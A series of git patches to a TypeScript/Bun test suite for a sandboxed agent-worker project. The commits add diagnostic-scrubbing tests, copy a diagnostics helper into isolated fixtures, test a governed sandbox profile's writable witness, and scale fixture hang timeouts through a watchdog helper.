payload missing","multiple-match":"native fixture RTK payload ambiguous","start-mismatch":"native fixture RTK audited identity changed","exe-mismatch":"native fixture RTK executable changed","launch-mismatch":"native fixture RTK spawn is unregistered","register-refused":"unrecognized adapter failure"}; +for(const [category,message] of Object.entries(cases))test(`RTK diagnostic emits ${category} and rethrows`,async()=>{ + const module=join(import.meta.dir,"../scripts/native-rtk-diagnostics.ts"); + const child=spawnGuardFixture([process.execPath,"-e",`import {diagnoseNativeFixtureRtk} from ${JSON.stringify(module)};const original=Error(${JSON.stringify(message)});let caught;try{diagnoseNativeFixtureRtk(()=>{throw original;});}catch(error){caught=error;}if(caught!==original)throw Error("RTK_REFUSAL_MUST_RETHROW");`]); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); + const record=JSON.parse(out.split("\n").find(line=>line.startsWith('{"kind":"native-fixture-rtk-registration"'))!); + expect(record).toMatchObject({success:false,category});expect(Object.keys(record).sort()).toEqual(["kind","head","success","category"].sort()); +}); +test("RTK diagnostic categories cannot carry arbitrary private text",()=>{ + for(const error of [Error("/home/private-owner/secret TOKEN=private-value https://ithaca.invalid"),"private-value",{message:"native fixture RTK executable changed"}])expect(nativeRtkFailureCategory(error),"RTK_CATEGORY_IS_FIXED_AND_SCRUBBED").toBe("register-refused"); +}); + +test("measurement fixture records its adapter refusal before rethrowing",async()=>{ + const fixture=join(import.meta.dir,"../scripts/measurement-worker-fixture.ts"); + const child=spawnGuardFixture([process.execPath,"-e",`import {mkdtempSync,rmSync} from "node:fs";import {createMeasurementWorkerFixture} from ${JSON.stringify(fixture)};const brain=mkdtempSync("/tmp/odysseus-rtk-refusal-");const fixture=createMeasurementWorkerFixture(brain);let refused=false;try{fixture.qualifyRtk();}catch{refused=true;}finally{fixture.cleanup();rmSync(brain,{recursive:true,force:true});}if(!refused)throw Error("FIXTURE_RTK_REFUSAL_MUST_PROPAGATE");`]); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0);expect(out,"MEASUREMENT_RTK_REFUSAL_IS_OBSERVABLE").toContain('"category":"launch-mismatch"'); +}); From 76a315493005b87b9a5ebdb4815e271f2857d4bb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 15:51:38 +0000 Subject: [PATCH 075/187] test: copy device diagnostics into isolated guard fixtures --- tests/helpers/test-invocation-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- tests/native-offline-boundary.test.ts | 1 + tests/native-policy-artifact.test.ts | 2 +- tests/test-script.test.ts | 2 +- tests/test-shards.test.ts | 2 +- tests/workspace-lease.test.ts | 2 +- 7 files changed, 7 insertions(+), 6 deletions(-) diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index 05cfa9eb3b..2b6b018ed3 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index 679adf4e37..60abe88eaf 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -423,7 +423,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index fa85534e6d..be8c73476d 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -599,6 +599,7 @@ test("workspace SDK discovery works without root resolution and fails closed for writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); copyFileSync(join(ROOT,"scripts/native-test-receipts.ts"),join(scratch,"scripts/native-test-receipts.ts")); + copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts")); const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); symlinkSync(dirname(sdk), link); const module = join(scratch, "scripts/test-native-guard.ts"); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index 57ee81755d..fd6b436a3e 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -47,7 +47,7 @@ test("an isolated preload without receipt libraries never prints raw diagnostic const root=mkdtempSync(join(tmpdir(),"odysseus-isolated-diagnostic-")); try{ mkdirSync(join(root,"scripts"));mkdirSync(join(root,"packages")); - writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts")); + writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts")); const script=join(root,"probe.ts"),secret="odysseus-private-diagnostic-material"; writeFileSync(script,`const original=Bun.spawnSync; Bun.spawnSync=((argv,options)=>argv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index dc8faad695..e92dfd6d3d 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,7 +33,7 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index e40bdb3e7b..6bba391f36 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -59,7 +59,7 @@ describe("balanced shards run the root command for real", () => { mkdirSync(join(dir, "scripts")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/workspace-lease.test.ts b/tests/workspace-lease.test.ts index 8b7d5ceedd..7adb20881d 100644 --- a/tests/workspace-lease.test.ts +++ b/tests/workspace-lease.test.ts @@ -281,7 +281,7 @@ test("the real pinned container wrapper waits for host ownership of its mounted test("direct Bun test preserves its selector, timeout and offline preload while waiting", async () => { const root = fixture(); mkdirSync(join(root, "scripts")); mkdirSync(join(root, "packages/core/tests"), { recursive: true }); - for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { + for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { copyFileSync(join(project, "scripts", name), join(root, "scripts", name)); } copyFileSync(join(project, "packages/core/tests/cli-harness.ts"), join(root, "packages/core/tests/cli-harness.ts")); From b96b6384da86df782deec86550da14a5ed2bfded Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 15:59:48 +0000 Subject: [PATCH 076/187] test: prove helper witnesses writable in both launch views --- .../tests/subscription-billing.test.ts | 14 ++++++++++---- tests/native-helper-witness.test.ts | 17 +++++++++++++++-- 2 files changed, 25 insertions(+), 6 deletions(-) diff --git a/packages/ui-backend-claude/tests/subscription-billing.test.ts b/packages/ui-backend-claude/tests/subscription-billing.test.ts index 2e4e0e8975..1d7b1a67ed 100644 --- a/packages/ui-backend-claude/tests/subscription-billing.test.ts +++ b/packages/ui-backend-claude/tests/subscription-billing.test.ts @@ -144,7 +144,8 @@ function observedQuery(observed: SDKMessage[]): typeof query { async function runTurn( { brainPath }: { brainPath: string }, - profileId?: string + profileId?: string, + witnessProfile?: "governed" ): Promise<{ frames: ServerMessage[]; observed: SDKMessage[]; activity: BackendActivityEvent[] }> { const frames: ServerMessage[] = []; const observed: SDKMessage[] = []; @@ -166,7 +167,12 @@ async function runTurn( log: () => {}, }); const workerStartupView = createFixtureWorkerStartupView(brainPath); - try { await backend.startTurn({ workerStartupView, workerSandbox: prepareFixtureWorkerSandbox(brainPath, { home: process.env.HOME, areas: [] }), + try { + // Only helper twins need a shared writable witness. Subscription admission + // branches on billing/account/settings, independently of the worker profile. + const workerSandbox=prepareFixtureWorkerSandbox(brainPath,{home:process.env.HOME,areas:[],...(witnessProfile?{profile:witnessProfile}:{})}); + if(witnessProfile)expect(workerSandbox.profile,"HELPER_PROTECTED_VIEW_IS_GOVERNED").toBe("governed"); + await backend.startTurn({ workerStartupView, workerSandbox: { ...workerSandbox, areas: [] }, prompt: "Reply with the single word ok.", signal: new AbortController().signal, bridge, @@ -257,7 +263,7 @@ describe("a profile without its own credential bills the subscription", () => { const fixture = arrange({}); const marker = installSubscriptionHelperWitness(fixture.brainPath, HELPER_KEY); // (The helper fixture is proven live by the control test below.) - const { frames } = await runTurn(fixture); + const { frames } = await runTurn(fixture, undefined, "governed"); expect(seen).toEqual([]); expectAuthFailure(frames); @@ -271,7 +277,7 @@ describe("a profile without its own credential bills the subscription", () => { // killed during the sleep. const fixture = arrange({ oauth: OAUTH }); const marker = installSubscriptionHelperWitness(fixture.brainPath, HELPER_KEY, true); - const { frames } = await runTurn(fixture); + const { frames } = await runTurn(fixture, undefined, "governed"); expect(seen).toEqual([]); expectAuthFailure(frames); diff --git a/tests/native-helper-witness.test.ts b/tests/native-helper-witness.test.ts index a2bd5262b8..1000041b1d 100644 --- a/tests/native-helper-witness.test.ts +++ b/tests/native-helper-witness.test.ts @@ -1,8 +1,10 @@ import { expect,test } from "bun:test"; -import { mkdtempSync,mkdirSync,readFileSync,existsSync,rmSync,readdirSync } from "node:fs"; +import { mkdtempSync,mkdirSync,readFileSync,existsSync,rmSync,readdirSync,unlinkSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { installSubscriptionHelperWitness } from "../packages/ui-backend-claude/tests/helpers/subscription-helper-witness"; +import { prepareFixtureWorkerSandbox } from "../packages/ui-sdk/tests/helpers/worker-startup-view-fixture"; +import { workerCommand } from "../packages/ui-sdk/src/server/worker-launcher"; test("isolated helper control witnesses execution inside the projected brain",()=>{ const root=mkdtempSync(join(tmpdir(),"odysseus-helper-view-")),brain=join(root,"brain");mkdirSync(brain); try{ @@ -13,7 +15,18 @@ test("isolated helper control witnesses execution inside the projected brain",() expect(child.exitCode,child.stderr.toString()).toBe(0); expect(existsSync(marker),"HELPER_CONTROL_WITNESS_VISIBLE_IN_PROJECTED_BRAIN").toBe(true); expect(child.stdout.toString().trim()).toBe("odysseus-fixture-key"); - // This witness is asserted separately, not counted as brain content. expect(readdirSync(brain).filter(name=>name!==".odysseus-helper-ran")).toEqual([".claude"]); + unlinkSync(marker); + const sandbox=prepareFixtureWorkerSandbox(brain,{profile:"governed",areas:[]}); + expect(sandbox.profile,"HELPER_PROTECTED_VIEW_IS_GOVERNED").toBe("governed"); + const protectedPlan=workerCommand({brainPath:brain,command:["/bin/sh","-c",helper],env:{HOME:"/nonexistent",PATH:"/usr/bin:/bin"},sandbox}); + expect(protectedPlan.some((arg,i)=>arg==="--bind"&&protectedPlan[i+1]===brain&&protectedPlan[i+2]===brain),"PROTECTED_HELPER_WITNESS_WRITABLE").toBe(true); + const beforeProtected=readdirSync(brain).sort(); + const protectedChild=Bun.spawnSync(protectedPlan,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + expect(protectedChild.exitCode,protectedChild.stderr.toString()).toBe(0); + expect(existsSync(marker),"PROTECTED_HELPER_WITNESS_WRITABLE").toBe(true); + expect(protectedChild.stdout.toString().trim()).toBe("odysseus-fixture-key"); + // This witness is asserted separately, not counted as brain content. + expect(readdirSync(brain).filter(name=>name!==".odysseus-helper-ran").sort()).toEqual(beforeProtected); }finally{rmSync(root,{recursive:true,force:true});} }); From 6a7a23968af0e409c7ce9fd01b276467acca0478 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 16:47:28 +0000 Subject: [PATCH 077/187] test: inventory and scale native fixture hang guards --- experiments/2052-title-provenance/probe.ts | 3 +- experiments/measurement-results.test.ts | 5 +- .../tests/fixtures/autonomous-prompt-probe.ts | 3 +- .../tests/fixtures/background-shell-probe.ts | 5 +- .../tests/fixtures/host-relay-probe.ts | 2 +- .../fixtures/interactive-git-prompt-probe.ts | 3 +- .../fixtures/ordinary-host-relay-probe.ts | 2 +- .../fixtures/prepared-consumer-native-root.ts | 3 +- .../fixtures/provider-history-apify-probe.ts | 3 +- .../provider-history-attachment-probe.ts | 3 +- .../tests/fixtures/provider-history-probe.ts | 3 +- .../tests/fixtures/sdk-host-relay-probe.ts | 2 +- .../tests/fixtures/session-prompt-probe.ts | 3 +- .../tests/fixtures/shell-startup-probe.ts | 5 +- .../tests/fixtures/stable-roster-probe.ts | 3 +- .../tests/fixtures/transcript-prefix-probe.ts | 3 +- .../tests/follow-up-delivery.test.ts | 3 +- .../tests/native-restart-versions.test.ts | 15 +++- .../tests/native-stale-write.test.ts | 3 +- .../native-host-auth-maintenance-probe.ts | 3 +- .../contextual-conversation-browser-server.ts | 3 +- .../egress-identity-qualification.native.ts | 3 +- .../native-worker-startup-diagnostics.ts | 3 +- .../tests/fixtures/ordinary-identity-root.ts | 5 +- .../tests/fixtures/ordinary-identity-ws.ts | 3 +- .../fixtures/scratch-mask-identity-ws.ts | 3 +- .../tests/fixtures/scratch-mask-native.ts | 3 +- .../ui-sdk/tests/gate-holder-crash.test.ts | 5 +- packages/ui-sdk/tests/governed-worker.test.ts | 5 +- .../identity-broker-qualification.native.ts | 7 +- .../ui-sdk/tests/refused-launch-gate.test.ts | 11 +-- .../tests/startup-input-accounting.test.ts | 3 +- .../tests/worker-filesystem-filter.test.ts | 5 +- .../tests/worker-identity-progress.test.ts | 5 +- packages/ui-sdk/tests/worker-launcher.test.ts | 3 +- .../ui-sdk/tests/worker-output-budget.test.ts | 3 +- packages/ui-sdk/tests/worker-pipes.test.ts | 3 +- .../tests/worker-steps-event-loop.test.ts | 3 +- .../tests/brain-application-adapters.test.ts | 2 +- .../ui-server/tests/governance-policy.test.ts | 5 +- .../tests/host-fallback-folder-policy.test.ts | 3 +- .../tests/host-fallback-transition.test.ts | 5 +- .../tests/host-unpinned-folder-plan.test.ts | 5 +- .../tests/operational-state-layout.test.ts | 3 +- .../tests/safety-native-delivery.test.ts | 3 +- .../tests/safety-result-retention.test.ts | 13 ++-- .../ui-server/tests/turn-data-tree.test.ts | 3 +- packages/ui-server/tests/turn-scope.test.ts | 7 +- .../tests/ws-live-policy-parity.test.ts | 3 +- .../ui-server/tests/ws-turn-journal.test.ts | 9 +-- scripts/capture-turn-surface.ts | 3 +- scripts/fixtures/claude-core-default-probe.ts | 5 +- scripts/measure-claude-capability.ts | 3 +- scripts/measure-claude-delegation.ts | 3 +- scripts/measure-claude-enforcement.ts | 3 +- scripts/measure-claude-haiku.ts | 3 +- scripts/measure-claude-runtime.ts | 2 +- scripts/measure-show-block.ts | 3 +- scripts/measure-turn-surface-live.ts | 7 +- scripts/native-device-diagnostics.ts | 2 +- scripts/native-proof/hosted-app.test.ts | 15 ++-- scripts/native-proof/mcp-search-worker.ts | 3 +- .../native-release-observation.ts | 2 +- scripts/native-proof/provider-index.native.ts | 5 +- .../reference-efficiency-crash-child.ts | 3 +- .../reference-integration.native.ts | 7 +- scripts/native-proof/reference-pool.native.ts | 9 +-- .../native-proof/schedule-folder-admission.ts | 3 +- scripts/prove-worker-identity.ts | 3 +- tests/fixtures/autonomous-app-probe.ts | 2 +- .../fixtures/autonomous-containment-probe.ts | 5 +- tests/fixtures/autonomous-runtime-probe.ts | 3 +- tests/fixtures/claude-worker-probe.ts | 5 +- tests/fixtures/policy-boundary-probe.ts | 5 +- tests/helpers/native-timeout-inventory.ts | 70 +++++++++++++++++++ tests/native-device-diagnostics.test.ts | 4 +- tests/native-namespace-policy.test.ts | 3 +- tests/native-offline-boundary.test.ts | 6 +- tests/native-restart-watchdog.test.ts | 24 +++++++ tests/native-timeout-inventory.test.ts | 58 +++++++++++++++ 80 files changed, 355 insertions(+), 126 deletions(-) create mode 100644 tests/helpers/native-timeout-inventory.ts create mode 100644 tests/native-restart-watchdog.test.ts create mode 100644 tests/native-timeout-inventory.test.ts diff --git a/experiments/2052-title-provenance/probe.ts b/experiments/2052-title-provenance/probe.ts index dcec4973b9..fb1082d8db 100644 --- a/experiments/2052-title-provenance/probe.ts +++ b/experiments/2052-title-provenance/probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../scripts/test-deadlines"; import "../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; /** Run through run.ts: the SDK, CLI and tool descendants share an offline netns. */ @@ -56,7 +57,7 @@ try { turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); const messages: unknown[] = []; - const timer = setTimeout(() => controller.abort(), 45_000); + const timer = setTimeout(() => controller.abort(), watchdogMs(45_000)); try { let succeeded = false; for await (const msg of query({ prompt: turn.prompt, options: turn.options })) { diff --git a/experiments/measurement-results.test.ts b/experiments/measurement-results.test.ts index 7be5302ae9..01ed853319 100644 --- a/experiments/measurement-results.test.ts +++ b/experiments/measurement-results.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../scripts/test-deadlines"; import { expect, test } from "bun:test"; import { runTurn, report, costRows } from "../scripts/measure-show-block"; import { MeasurementResults, priceCoverage } from "../scripts/measurement-results"; @@ -107,11 +108,11 @@ test("drain timeout force-kills and awaits an owned native child ignoring SIGTER }); const output = child.stdout[Symbol.asyncIterator](); // Keep the deliberate missing-kill mutation bounded without hiding its receipt. - let watchdog = setTimeout(() => child.kill("SIGKILL"), 5000); + let watchdog = setTimeout(() => child.kill("SIGKILL"), watchdogMs(5000)); try { expect(String((await output.next()).value)).toContain("ready"); clearTimeout(watchdog); - watchdog = setTimeout(() => child.kill("SIGKILL"), 500); + watchdog = setTimeout(() => child.kill("SIGKILL"), watchdogMs(500)); child.kill("SIGTERM"); expect(await observed.drain(50)).toBe(false); expect(observed.processes).toEqual([{ closed: true, stdoutFinished: true, code: null, signal: "SIGKILL", forcedKill: true }]); diff --git a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts index 9826600aff..1636c78484 100644 --- a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -48,7 +49,7 @@ try { abortController, allowedTools, confirmPatterns: [], turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); - const timer = setTimeout(() => abortController.abort(), 45_000); + const timer = setTimeout(() => abortController.abort(), watchdogMs(45_000)); try { let success = false; for await (const message of query({ prompt: turn.prompt, options: turn.options })) { diff --git a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts index 00ba1eb407..5db7ac5fc4 100644 --- a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real installed CLI, fictional credentials and a loopback-only namespace. */ @@ -31,7 +32,7 @@ for (const enforced of [false, true]) { await request.json(); return reply(calls[sent++]); } }); nativeScriptedService(server.url.origin); - const controller = new AbortController(), timer = setTimeout(() => controller.abort(), 20_000); + const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); const lock = createTurnLockBinding({ turn: { ended: false, pendingReleases: new Map() }, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); const allowedTools = enforced ? [] : ["Bash"]; const wiring = createPermissionWiring({ req: { prompt: "Return to Ithaca.", signal: controller.signal, enforceAllowedTools: enforced, @@ -65,7 +66,7 @@ for (const enforced of [false, true]) { await request.json(); return reply(sent++ === 0 ? { name: "Bash", id: "toolu_legacy", input: { command: "sleep 30", run_in_background: true } } : undefined); } }); nativeScriptedService(server.url.origin); - const controller = new AbortController(), timer = setTimeout(() => controller.abort(), 20_000); + const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); const env = { HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), PATH: process.env.PATH!, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "odysseus-offline-only-key", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }; try { for (const resume of [false, true]) for await (const message of query({ prompt: resume ? "Keep Penelope's words." : "Return to Ithaca.", options: { diff --git a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts index ff5ad5d5ce..dc712e41de 100644 --- a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts @@ -156,7 +156,7 @@ try { try { await bounded(refreshEnded); } catch { closeRefresh?.(); } // The parent requires refreshCancelled=true. cancellationRetainedHostBytes = readFileSync(join(host, ".credentials.json")).equals(before); - const lock = await acquireHostCredentialExclusion({ domain: { directory }, timeoutMs: 1000 }); + const lock = await acquireHostCredentialExclusion({ domain: { directory }, timeoutMs: watchdogMs(1000) }); lock.release(); cancellationReleasedLock = true; } } diff --git a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts index e61f6e673d..4b6406994b 100644 --- a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView, createFixtureMaintenanceHost, prepareFixtureWorkerSandbox } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -61,7 +62,7 @@ try { abortController, allowedTools: ["Read"], confirmPatterns: [], turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); - const timer = setTimeout(() => abortController.abort(), 45_000); + const timer = setTimeout(() => abortController.abort(), watchdogMs(45_000)); try { let success = false; for await (const message of query({ prompt: turn.prompt, options: turn.options })) { diff --git a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts index d4dfa4f8e9..b00fc0f92a 100644 --- a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts @@ -177,7 +177,7 @@ try { try { await bounded(refreshEnded); } catch { closeRefresh?.(); } // The parent requires refreshCancelled=true. cancellationRetainedHostBytes = readFileSync(join(host, ".credentials.json")).equals(before); - const lock = await acquireHostCredentialExclusion({ domain: { directory }, timeoutMs: 1000 }); + const lock = await acquireHostCredentialExclusion({ domain: { directory }, timeoutMs: watchdogMs(1000) }); lock.release(); cancellationReleasedLock = true; } } diff --git a/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts b/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts index 9af3d25149..088733603b 100644 --- a/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts +++ b/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { expect } from "bun:test"; import { chmodSync, chownSync, mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -52,7 +53,7 @@ if (process.argv[2] === "--child") { if (process.argv.includes("--guards-only")) process.exitCode = 0; else { const child = Bun.spawn(["/usr/bin/setpriv", "--reuid=21001", "--regid=21001", "--clear-groups", process.execPath, "--preload", "/repo/scripts/test-network-child-preload.ts", import.meta.filename, "--child", ...(process.argv.includes("--cleanup-failure") ? ["cleanup-failure"] : [])], { - env: { PATH: "/usr/local/bin:/usr/bin:/bin", HOME: "/identity-server-private", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe", timeout: 90000 }); + env: { PATH: "/usr/local/bin:/usr/bin:/bin", HOME: "/identity-server-private", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(90000) }); const [output, errors, code] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); writeFileSync("/proof/server.stdout", output); writeFileSync("/proof/server.stderr", errors); expect(code, errors).toBe(0); diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts 